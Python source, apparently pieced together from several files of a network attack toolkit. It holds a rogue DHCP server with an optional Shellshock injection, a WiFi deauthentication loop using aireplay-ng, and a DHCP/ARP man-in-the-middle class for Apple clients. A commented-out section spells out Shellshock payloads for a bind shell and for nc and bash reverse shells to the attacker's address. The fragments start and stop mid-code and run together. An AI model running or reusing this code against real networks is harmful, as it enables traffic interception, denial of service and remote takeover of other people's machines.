None, ipv4_network_mask: Union[None, str] = None, first_offer_ipv4_address: Union[None, str] = None, last_offer_ipv4_address: Union[None, str] = None, dhcp_server_mac_address: Union[None, str] = None, dhcp_server_ipv4_address: Union[None, str] = None, dns_server_ipv4_address: Union[None, str] = None, tftp_server_ipv4_address: Union[None, str] = None, wins_server_ipv4_address: Union[None, str] = None, router_ipv4_address: Union[None, str] = None, domain_search: str = 'domain.local', lease_time: int = 172800, shellshock_option_code: int = 114, send_dhcp_discover_packets: bool = False, send_dhcp_offer_packets: bool = False, send_broadcast_dhcp_response: bool = False, exit_on_success: bool = False, apple: bool = False, quiet: bool = False): # region Set variables self._lease_time = lease_time self._domain_search = domain_search.encode('utf-8') self._send_dhcp_discover_packets = send_dhcp_discover_packets self._send_dhcp_offer_packets = send_dhcp_offer_packets self._send_broadcast_dhcp_response = send_broadcast_dhcp_response self._exit_on_success = exit_on_success self._apple = apple self._quiet = quiet # endregion # region Get your network settings if ipv4_network_mask is not None: self._ipv4_network_mask = ipv4_network_mask # endregion # region Set target MAC and IP address, if target IP is not set - get first and last offer IP # region Target MAC address is set if target_mac_address is not None: self._target['mac-address'] = self._utils.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IP is set if target_ipv4_address is not None: assert self._target['mac-address'] is not None, \ 'Please set target MAC address' + \ ', for target IP address: ' + self._base.info_text(target_ipv4_address) self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ipv4_address, parameter_name='target IPv4 address') # endregion # region Target IP is not set - get first and last offer IP else: # Check first offer IP address if first_offer_ipv4_address is not None: self._first_offer_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=first_offer_ipv4_address, parameter_name='first offer IPv4 address') # Check last offer IP address if last_offer_ipv4_address is not None: self._last_offer_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=last_offer_ipv4_address, parameter_name='last offer IPv4 address') # endregion # endregion # region Set DHCP sever MAC and IP address if dhcp_server_mac_address is not None: self._dhcp_server_mac_address = \ self._utils.check_mac_address(mac_address=dhcp_server_mac_address, parameter_name='DHCPv4 server MAC address') if dhcp_server_ipv4_address is not None: self._dhcp_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=dhcp_server_ipv4_address, parameter_name='DHCPv4 server IPv4 address') # endregion # region Set router, dns, tftp, wins IP address # region Set router IP address if router_ipv4_address is not None: self._router_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=dhcp_server_ipv4_address, parameter_name='router IPv4 address') # endregion # region Set DNS server IP address if dns_server_ipv4_address is not None: assert self._base.ip_address_validation(dns_server_ipv4_address), \ 'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address) self._dns_server_ipv4_address = dns_server_ipv4_address # endregion # region Set TFTP server IP address if tftp_server_ipv4_address is not None: self._tftp_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=tftp_server_ipv4_address, parameter_name='TFTP server IPv4 address') # endregion # region Set WINS server IP address if wins_server_ipv4_address is not None: self._wins_server_ipv4_address = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=tftp_server_ipv4_address, parameter_name='WINS server IPv4 address') # endregion # endregion # region Set Shellshock option code if 255 < shellshock_option_code < 0: self._base.print_error( 'Bad Shellshock option code: ', str(shellshock_option_code), '; This value should be in the range from 1 to 254') exit(1) else: self._shellshock_option_code = shellshock_option_code # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your IP address: ', self._your['ipv4-address']) self._base.print_info('Your MAC address: ', self._your['mac-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC: ', self._target['mac-address']) # If target IP address is set print target IP, else print first and last offer IP if self._target['ipv4-address'] is not None: self._base.print_info('Target IP: ', self._target['ipv4-address']) else: self._base.print_info('First offer IP: ', self._first_offer_ipv4_address) self._base.print_info('Last offer IP: ', self._last_offer_ipv4_address) self._base.print_info('DHCP server mac address: ', self._dhcp_server_mac_address) self._base.print_info('DHCP server ip address: ', self._dhcp_server_ipv4_address) self._base.print_info('Router IP address: ', self._router_ipv4_address) self._base.print_info('DNS server IP address: ', self._dns_server_ipv4_address) self._base.print_info('TFTP server IP address: ', self._tftp_server_ipv4_address) self._base.print_info('WINS server IP address: ', self._wins_server_ipv4_address) # endregion # region Add ip addresses in list with free ip addresses from first to last offer IP if self._target['ipv4-address'] is None: self._base.print_info( 'Create list with free IP addresses in your network ...') self._free_ip_addresses = \ self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'], first_ipv4_address=self._first_offer_ipv4_address, last_ipv4_address=last_offer_ipv4_address, quiet=self._quiet) # endregion # region Send DHCP discover packets in the background thread if self._send_dhcp_discover_packets: if not self._quiet: self._base.print_info( 'Start DHCP discover packets send in the background thread ...' ) self._base.print_info('Delay between DHCP discover packets: ', str(self._discover_sender_delay)) self._thread_manager.add_task(self._discover_sender) # endregion # region Sniff network # region Print info message self._base.print_info('Waiting for a ARP or DHCP requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'ARP': { 'opcode': 1 }, 'UDP': { 'destination-port': 67, 'source-port': 68 } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add client info in clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Union[bool, str, Dict[str, Union[bool, str]]], this_client_already_in_dictionary: bool = False) -> None: if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Make DHCP offer packet def _make_dhcp_offer_packet( self, transaction_id: int, offer_ip: str, client_mac: str, destination_mac: Union[None, str] = None, destination_ip: Union[None, str] = None) -> Union[None, bytes]: if destination_mac is None: destination_mac = 'ff:ff:ff:ff:ff:ff' if destination_ip is None: destination_ip = '255.255.255.255' return self._dhcpv4.make_response_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=destination_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=destination_ip, transaction_id=transaction_id, dhcp_message_type=2, your_client_ip=offer_ip, client_mac=client_mac, dhcp_server_id=self._dhcp_server_ipv4_address, lease_time=self._lease_time, netmask=self._ipv4_network_mask, router=self._router_ipv4_address, dns=self._dns_server_ipv4_address, payload=None) # endregion # region Make DHCP ack packet def _make_dhcp_ack_packet( self, transaction_id: int, target_mac: str, target_ip: str, destination_mac: Union[None, str] = None, destination_ip: Union[None, str] = None, shellshock_payload: Union[None, str] = None) -> Union[None, bytes]: if destination_mac is None: destination_mac: str = 'ff:ff:ff:ff:ff:ff' if destination_ip is None: destination_ip: str = '255.255.255.255' return self._dhcpv4.make_response_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=destination_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=destination_ip, transaction_id=transaction_id, dhcp_message_type=5, your_client_ip=target_ip, client_mac=target_mac, dhcp_server_id=self._dhcp_server_ipv4_address, lease_time=self._lease_time, netmask=self._ipv4_network_mask, router=self._router_ipv4_address, dns=self._dns_server_ipv4_address, payload=shellshock_payload, payload_option_code=self._shellshock_option_code, domain=self._domain_search, tftp=self._tftp_server_ipv4_address, wins=self._wins_server_ipv4_address) # endregion # region Make DHCP nak packet def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str, target_ip: str, requested_ip: str) -> Union[None, bytes]: return self._dhcpv4.make_nak_packet( ethernet_src_mac=self._dhcp_server_mac_address, ethernet_dst_mac=target_mac, ip_src=self._dhcp_server_ipv4_address, ip_dst=requested_ip, transaction_id=transaction_id, your_client_ip=target_ip, client_mac=target_mac, dhcp_server_id=self._dhcp_server_ipv4_address) # endregion # region Send DHCP discover packets def _discover_sender(self, number_of_packets=999999) -> None: packet_index = 0 self._discover_sender_is_work = True while packet_index < number_of_packets: try: self._raw_send.send_packet( self._dhcpv4.make_discover_packet( ethernet_src_mac=self._your['mac-address'], client_mac=self._eth.make_random_mac(), host_name=self._base.make_random_string(), relay_agent_ip=self._your['ipv4-address'])) sleep(self._discover_sender_delay) except TypeError: self._base.print_error( 'Something went wrong when sending DHCP discover packets!') break packet_index += 1 self._discover_sender_is_work = False # endregion # region Reply to DHCPv4 and ARP requests def _reply(self, packet): # region DHCP if 'DHCPv4' in packet.keys(): # region Get transaction id and client MAC address transaction_id = packet['BOOTP']['transaction-id'] client_mac_address = packet['BOOTP']['client-mac-address'] # endregion # region Check this client already in dict client_already_in_dictionary = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region DHCP DISCOVER if packet['DHCPv4'][53] == 1: # region Print INFO message self._base.print_info('DHCP DISCOVER from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # endregion # If parameter 'Do not send DHCP OFFER packets' is not set if not self._send_dhcp_offer_packets: # region Start DHCP discover sender if self._send_dhcp_discover_packets: if not self._discover_sender_is_work: self._discover_sender(100) # endregion # If target IP address is set - offer IP = target IP if self._target['ipv4-address'] is not None: offer_ip_address = self._target['ipv4-address'] # If target IP address is not set - offer IP = random IP from free IP addresses list else: random_index = randint(0, len(self._free_ip_addresses)) offer_ip_address = self._free_ip_addresses[ random_index] # Delete offer IP from free IP addresses list del self._free_ip_addresses[random_index] if self._send_broadcast_dhcp_response: offer_packet = \ self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address) else: offer_packet = \ self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address, client_mac_address, offer_ip_address) self._raw_send.send_packet(offer_packet) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'transaction': transaction_id, 'discover': True, 'offer_ip': offer_ip_address }, client_already_in_dictionary) # Print INFO message self._base.print_info('DHCP OFFER to: ', client_mac_address, ' offer IP: ', offer_ip_address) # endregion # region DHCP RELEASE if packet['DHCPv4'][53] == 7: if packet['BOOTP']['client-ip-address'] is not None: client_ip = packet['BOOTP']['client-ip-address'] self._base.print_info( 'DHCP RELEASE from: ', client_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'client_ip': client_ip}, client_already_in_dictionary) # print self._clients # Add release client IP in free IP addresses list if client_ip not in self._free_ip_addresses: self._free_ip_addresses.append(client_ip) else: self._base.print_info('DHCP RELEASE from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'release': True}, client_already_in_dictionary) # print self._clients # endregion # region DHCP INFORM if packet['DHCPv4'][53] == 8: if packet['BOOTP']['client-ip-address'] is not None: client_ip = packet['BOOTP']['client-ip-address'] self._base.print_info( 'DHCP INFORM from: ', client_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # If client IP in free IP addresses list delete this if client_ip in self._free_ip_addresses: self._free_ip_addresses.remove(client_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'client_ip': client_ip}, client_already_in_dictionary) # print self._clients else: self._base.print_info('DHCP INFORM from: ', client_mac_address, ' transaction id: ', hex(transaction_id)) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, {'inform': True}, client_already_in_dictionary) # print self._clients # endregion # region DHCP REQUEST if packet['DHCPv4'][53] == 3: # region Set local variables requested_ip = '0.0.0.0' offer_ip = None # endregion # region Get requested IP if 50 in packet['DHCPv4'].keys(): requested_ip = str(packet['DHCPv4'][50]) # endregion # region Print info message self._base.print_info('DHCP REQUEST from: ', client_mac_address, ' transaction id: ', hex(transaction_id), ' requested ip: ', requested_ip) # endregion # region Requested IP not in range from first offer IP to last offer IP if not self._base.ip_address_in_range( requested_ip, self._first_offer_ipv4_address, self._last_offer_ipv4_address): self._base.print_warning( 'Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not in range: ', self._first_offer_ipv4_address + ' - ' + self._last_offer_ipv4_address) # endregion # region Requested IP in range from first offer IP to last offer IP else: # region Start DHCP discover sender if self._send_dhcp_discover_packets: if not self._discover_sender_is_work: self._discover_sender(100) # endregion # region Change client info in global self._clients dictionary # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'packet': True, 'requested_ip': requested_ip, 'transaction': transaction_id }, client_already_in_dictionary) # Delete ARP mitm success keys in dictionary for this client self._clients[client_mac_address].pop( 'client request his ip', None) self._clients[client_mac_address].pop( 'client request router ip', None) self._clients[client_mac_address].pop( 'client request dns ip', None) # endregion # region Get offer IP address try: offer_ip = self._clients[client_mac_address][ 'offer_ip'] except KeyError: pass # endregion # region This client already send DHCP DISCOVER and offer IP != requested IP if offer_ip is not None and offer_ip != requested_ip: # Print error message self._base.print_error('Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not like offer IP: ', offer_ip) # Create and send DHCP nak packet nak_packet = \ self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip) self._raw_send.send_packet(nak_packet) self._base.print_info('DHCP NAK to: ', client_mac_address, ' requested ip: ', requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'mitm': 'error: offer ip not like requested ip', 'offer_ip': None }, client_already_in_dictionary) # print self._clients # endregion # region Offer IP == requested IP or this is a first packet from this client else: # region Target IP address is set and requested IP != target IP if self._target[ 'ipv4-address'] is not None and requested_ip != self._target[ 'ipv4-address']: # Print error message self._base.print_error( 'Client: ', client_mac_address, ' requested IP: ', requested_ip, ' not like target IP: ', self._target['ipv4-address']) # Create and send DHCP nak packet nak_packet = self._make_dhcp_nak_packet( transaction_id, client_mac_address, self._target['ipv4-address'], requested_ip) self._raw_send.send_packet(nak_packet) self._base.print_info('DHCP NAK to: ', client_mac_address, ' requested ip: ', requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'mitm': 'error: target ip not like requested ip', 'offer_ip': None, 'nak': True }, client_already_in_dictionary) # endregion # region Target IP address is set and requested IP == target IP or Target IP is not set else: # # region Settings shellshock payload # payload: Union[None, str] = None # shellshock_payload: Union[None, str] = None # # try: # assert args.shellshock_command is not None \ # or args.bind_shell \ # or args.nc_reverse_shell \ # or args.nce_reverse_shell \ # or args.bash_reverse_shell, 'ShellShock not used!' # # region Create payload # # # Network settings command in target machine # net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \ # str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \ # ' dev ' + args.iface_name + ';' # # # Shellshock payload: <user bash command> # if args.shellshock_command is not None: # payload = args.shellshock_command # # # Shellshock payload: # # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' & # if args.bind_shell: # payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \ # '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &' # # # Shellshock payload: # # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f & # if args.nc_reverse_shell: # payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \ # your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &' # # # Shellshock payload: # # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 & # if args.nce_reverse_shell: # payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &' # # # Shellshock payload: # # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 & # if args.bash_reverse_shell: # payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \ # '/' + str(args.reverse_port) + ' 0>&1 &' # # if payload is not None: # # # Do not add network settings command in payload # if not args.without_network: # payload = net_settings + payload # # # Send payload to target in clear text # if args.without_self._base64: # shellshock_payload = '() { :; }; ' + payload # # # Send self._base64 encoded payload to target in clear text # else: # payload = b64encode(payload) # shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')' # # endregion # # # region Check Shellshock payload length # if shellshock_payload is not None: # if len(shellshock_payload) > 255: # self._base.print_error('Length of shellshock payload is very big! Current length: ', # str(len(shellshock_payload)), ' Maximum length: ', '254') # shellshock_payload = None # # endregion # # except AssertionError: # pass # # endregion # region Send DHCP ack and print info message if self._send_broadcast_dhcp_response: ack_packet = self._make_dhcp_ack_packet( transaction_id=transaction_id, target_mac=client_mac_address, target_ip=requested_ip) else: ack_packet = self._make_dhcp_ack_packet( transaction_id=transaction_id, target_mac=client_mac_address, target_ip=requested_ip, destination_mac=client_mac_address, destination_ip=requested_ip) if self._apple: self._base.print_info('DHCP ACK to: ', client_mac_address, ' requested ip: ', requested_ip) for _ in range(3): self._raw_send.send_packet(ack_packet) sleep(0.2) else: self._raw_send.send_packet(ack_packet) self._base.print_info('DHCP ACK to: ', client_mac_address, ' requested ip: ', requested_ip) # endregion # region Add client info in global self._clients dictionary try: self._clients[client_mac_address].update( {'mitm': 'success'}) except KeyError: self._clients[client_mac_address] = { 'mitm': 'success' } # endregion # endregion # endregion # endregion # endregion # region DHCP DECLINE if packet['DHCPv4'][53] == 4: # Get requested IP requested_ip = '0.0.0.0' if 50 in packet['DHCPv4'].keys(): requested_ip = str(packet['DHCPv4'][50]) # Print info message self._base.print_info( 'DHCP DECLINE from: ', requested_ip + ' (' + client_mac_address + ')', ' transaction id: ', hex(transaction_id)) # If client IP in free IP addresses list delete this if requested_ip in self._free_ip_addresses: self._free_ip_addresses.remove(requested_ip) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'decline_ip': requested_ip, 'decline': True }, client_already_in_dictionary) # print self._clients # endregion # endregion DHCP # region ARP if 'ARP' in packet.keys(): if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['target-mac'] == '00:00:00:00:00:00': # region Set local variables arp_sender_mac_address = packet['ARP']['sender-mac'] arp_sender_ip_address = packet['ARP']['sender-ip'] arp_target_ip_address = packet['ARP']['target-ip'] # endregion # region Print info message self._base.print_info('ARP packet from: ', arp_sender_mac_address, ' "Who has ', arp_target_ip_address, ' Tell ', arp_sender_ip_address, '"') # endregion # region Get client mitm status try: mitm_status = self._clients[arp_sender_mac_address]['mitm'] except KeyError: mitm_status = '' # endregion # region Get client requested ip try: requested_ip = self._clients[arp_sender_mac_address][ 'requested_ip'] except KeyError: requested_ip = '' # endregion # region Create IPv4 address conflict if mitm_status.startswith('error'): arp_reply = self._arp.make_response( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=arp_sender_mac_address, sender_mac=self._your['mac-address'], sender_ip=arp_target_ip_address, target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address) self._raw_send.send_packet(arp_reply) self._base.print_info( 'ARP response to: ', arp_sender_mac_address, ' "', arp_target_ip_address + ' is at ' + self._your['mac-address'], '" (IPv4 address conflict)') # endregion # region MITM success if mitm_status.startswith('success'): if arp_target_ip_address == requested_ip: self._clients[arp_sender_mac_address].update( {'client request his ip': True}) if arp_target_ip_address == self._router_ipv4_address: self._clients[arp_sender_mac_address].update( {'client request router ip': True}) if arp_target_ip_address == self._dns_server_ipv4_address: self._clients[arp_sender_mac_address].update( {'client request dns ip': True}) try: assert self._clients[arp_sender_mac_address][ 'client request his ip'] assert self._clients[arp_sender_mac_address][ 'client request router ip'] assert self._clients[arp_sender_mac_address][ 'client request dns ip'] assert 'success message' not in self._clients[ arp_sender_mac_address].keys() self._base.print_success( 'MITM success: ', requested_ip + ' (' + arp_sender_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[arp_sender_mac_address].update( {'success message': True}) except KeyError: pass except AssertionError: pass
def deauth_packets_send(network_interface, network_channel, network_bssid, mac_address, number_of_deauth): global aireply_stop # Start target requests sniffer function tm = ThreadManager(2) tm.add_task(requests_sniffer, mac_address) # Set WiFi channel on interface for send WiFi deauth packets sub.Popen( ['iwconfig ' + network_interface + ' channel ' + network_channel], shell=True) # Start deauth packets numbers deauth_packets_number = number_of_deauth aireply_stop = False while deauth_packets_number < 50: # Check global variable aireplay_stop if aireply_stop: Base.print_info("Stop aireplay-ng ...") break # Start aireplay-ng process try: Base.print_info("Send WiFi deauth packets in aireplay-ng ...") aireplay_process = sub.Popen([ 'aireplay-ng ' + network_interface + ' -0 ' + str(deauth_packets_number) + ' -a ' + network_bssid + ' -c ' + mac_address ], shell=True, stdout=sub.PIPE) while True: output = aireplay_process.stdout.readline() if output == '' and aireplay_process.poll() is not None: break if output: stdout.write( re.sub(r'(\d\d:\d\d:\d\d (Waiting|Sending))', Base.c_info + r'\g<1>', output)) except OSError as e: if e.errno == errno.ENOENT: Base.print_error("Program: ", "aireply-ng", " is not installed!") exit(1) else: Base.print_error( "Something else went wrong while trying to run ", "`aireply-ng`") exit(2) # Wait before sniff request packet from target Base.print_info("Wait 10 sec. before sniff packets from target: " + mac_address) sleep(10) # Add 5 packets to number of WiFi deauth packets deauth_packets_number += 5
class AppleDHCPServer: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _arp: RawARP = RawARP() _sniff: RawSniff = RawSniff() _dhcpv4: RawDHCPv4 = RawDHCPv4() _thread_manager: ThreadManager = ThreadManager(15) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'ipv4-address': None, 'mac-address': None } _requested_ip: Union[None, str] = None _new_transaction_id: int = 0 _print_possible_mitm: bool = False _print_success_mitm: bool = False _broadcast: bool = False _quiet: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address' ]) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start def start(self, target_ip_address: str, target_mac_address: str, broadcast: bool = False, quiet: bool = False): try: # region Set variables self._broadcast = broadcast self._quiet = quiet # endregion # region Check target MAC and IPv4 address self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ip_address, is_local_ipv4_address=True, parameter_name='target IPv4 address') self._target['mac-address'] = \ self._utils.check_mac_address(mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Start Sniffer if not self._quiet: self._base.print_info( 'Waiting for a ARP or DHCPv4 requests from: ', self._target['mac-address']) self._sniff.start( protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters={ 'Ethernet': { 'source': self._target['mac-address'] }, 'ARP': { 'opcode': 1 }, 'IPv4': { 'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255' }, 'UDP': { 'source-port': 68, 'destination-port': 67 } }, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target['mac-address' ]) # endregion except AssertionError as Error: if not self._quiet: self._base.print_error(Error.args[0]) exit(1) except KeyboardInterrupt: if not self._quiet: self._base.print_info('Exit') exit(0) # endregion # region DHCP response sender def _dhcp_response_sender(self): if self._broadcast: offer_packet = self._dhcpv4.make_offer_packet( ethernet_src_mac=self._your['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) ack_packet = self._dhcpv4.make_ack_packet( ethernet_src_mac=self._your['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) else: offer_packet = self._dhcpv4.make_offer_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) ack_packet = self._dhcpv4.make_ack_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ip_src=self._your['ipv4-address'], transaction_id=self._new_transaction_id, your_client_ip=self._target['ipv4-address'], client_mac=self._target['mac-address']) start_time: datetime = datetime.now() if self._base.get_platform().startswith('Linux'): while (datetime.now() - start_time).seconds <= 15: self._raw_send.send_packet(offer_packet) self._raw_send.send_packet(ack_packet) sleep(0.00001) else: while (datetime.now() - start_time).seconds <= 15: self._raw_send.send_packet(offer_packet) self._raw_send.send_packet(ack_packet) # endregion # region Reply to DHCP and ARP requests def _reply(self, request: Dict[str, Dict[Union[int, str], Union[int, str]]]): # region DHCP REQUESTS if 'DHCPv4' in request.keys(): # region Get DHCP transaction id transaction_id = request['BOOTP']['transaction-id'] # endregion # region DHCP DECLINE if request['DHCPv4'][53] == 4: self._base.print_info('DHCP DECLINE from: ', self._target['mac-address']) if self._new_transaction_id != 0: self._thread_manager.add_task(self._dhcp_response_sender) # endregion # region DHCP REQUEST if request['DHCPv4'][53] == 3: # region Get next DHCP transaction id if transaction_id != 0: self._new_transaction_id = transaction_id + 1 self._base.print_info('Current transaction id: ', hex(transaction_id)) self._base.print_success('Next transaction id: ', hex(self._new_transaction_id)) # endregion # region Get DHCP requested ip address if 50 in request['DHCPv4'].keys(): self._requested_ip = str(request['DHCPv4'][50]) # endregion # region Print info message self._base.print_info('DHCP REQUEST from: ', self._target['mac-address'], ' transaction id: ', hex(transaction_id), ' requested ip: ', self._requested_ip) # endregion # region If requested IP is target IP - print Possible mitm success if self._requested_ip == self._target['ipv4-address']: if not self._print_possible_mitm: self._base.print_warning( 'Possible MiTM success: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._print_possible_mitm = True # endregion # endregion # endregion # region ARP REQUESTS if 'ARP' in request.keys(): if self._requested_ip is not None: if request['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ request['ARP']['target-mac'] == '00:00:00:00:00:00': # region Set local variables arp_sender_mac_address = request['ARP']['sender-mac'] arp_sender_ip_address = request['ARP']['sender-ip'] arp_target_ip_address = request['ARP']['target-ip'] # endregion # region Print info message self._base.print_info( 'ARP request from: ', arp_sender_mac_address, ' "', 'Who has ' + arp_target_ip_address + '? Tell ' + arp_sender_ip_address, '"') # endregion # region ARP target IP is DHCP requested IP if arp_target_ip_address == self._requested_ip: # region If ARP target IP is target IP - print Possible mitm success if arp_target_ip_address == self._target[ 'ipv4-address']: if not self._print_possible_mitm: self._base.print_warning( 'Possible MiTM success: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._print_possible_mitm = True # endregion # region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response else: arp_reply = self._arp.make_response( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._requested_ip, target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address) for _ in range(5): self._raw_send.send_packet(arp_reply) self._base.print_info( 'ARP response to: ', arp_sender_mac_address, ' "', arp_target_ip_address + ' is at ' + self._your['mac-address'], '" (IPv4 address conflict)') # endregion # endregion # region ARP target IP is your IP - MITM SUCCESS if arp_target_ip_address == self._your['ipv4-address']: if not self._print_success_mitm: self._base.print_success( 'MITM success: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._print_success_mitm = True exit(0)
def start(self, mitm_technique: Union[None, int] = None, disconnect_technique: Union[None, int] = None, mitm_interface: Union[None, str] = None, deauth_interface: Union[None, str] = None, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, target_new_ipv4_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, target_new_ipv6_address: Union[None, str] = None, gateway_ipv4_address: Union[None, str] = None, gateway_ipv6_address: Union[None, str] = None, dns_ipv4_address: Union[None, str] = None, dns_ipv6_address: Union[None, str] = None, ipv6_prefix: Union[None, str] = None, phishing_site: Union[None, str] = None): # region Variables thread_manager: ThreadManager = ThreadManager(10) mitm_network_interface: Union[None, str] = None deauth_network_interface: Union[None, str] = None disconnect: bool = False deauth: bool = False # endregion # region Kill subprocess if self._base.get_platform().startswith('Linux'): try: self._base.print_info('Stop services: ', 'dnsmasq, network-manager') run(['service dnsmasq stop >/dev/null 2>&1'], shell=True) run(['service network-manager stop >/dev/null 2>&1'], shell=True) except OSError: self._base.print_error('Something went wrong while trying to stop services:', 'dnsmasq and network-manager') exit(1) # Kill the processes that listens on 53, 68, 547 UDP port, 80 and 443 TCP ports self._base.print_info('Stop processes that listens on UDP ports: ', '53, 68, 547') self._base.kill_processes_by_listen_port(53, 'udp') self._base.kill_processes_by_listen_port(68, 'udp') self._base.kill_processes_by_listen_port(547, 'udp') self._base.print_info('Stop processes that listens on TCP ports: ', '80, 443') self._base.kill_processes_by_listen_port(80, 'tcp') self._base.kill_processes_by_listen_port(443, 'tcp') # endregion # region MiTM technique selection if self._base.get_platform().startswith('Windows') or self._base.get_platform().startswith('Darwin'): self._mitm_techniques.remove('Second DHCP ACK') self._disconnect_techniques.remove('Send WiFi 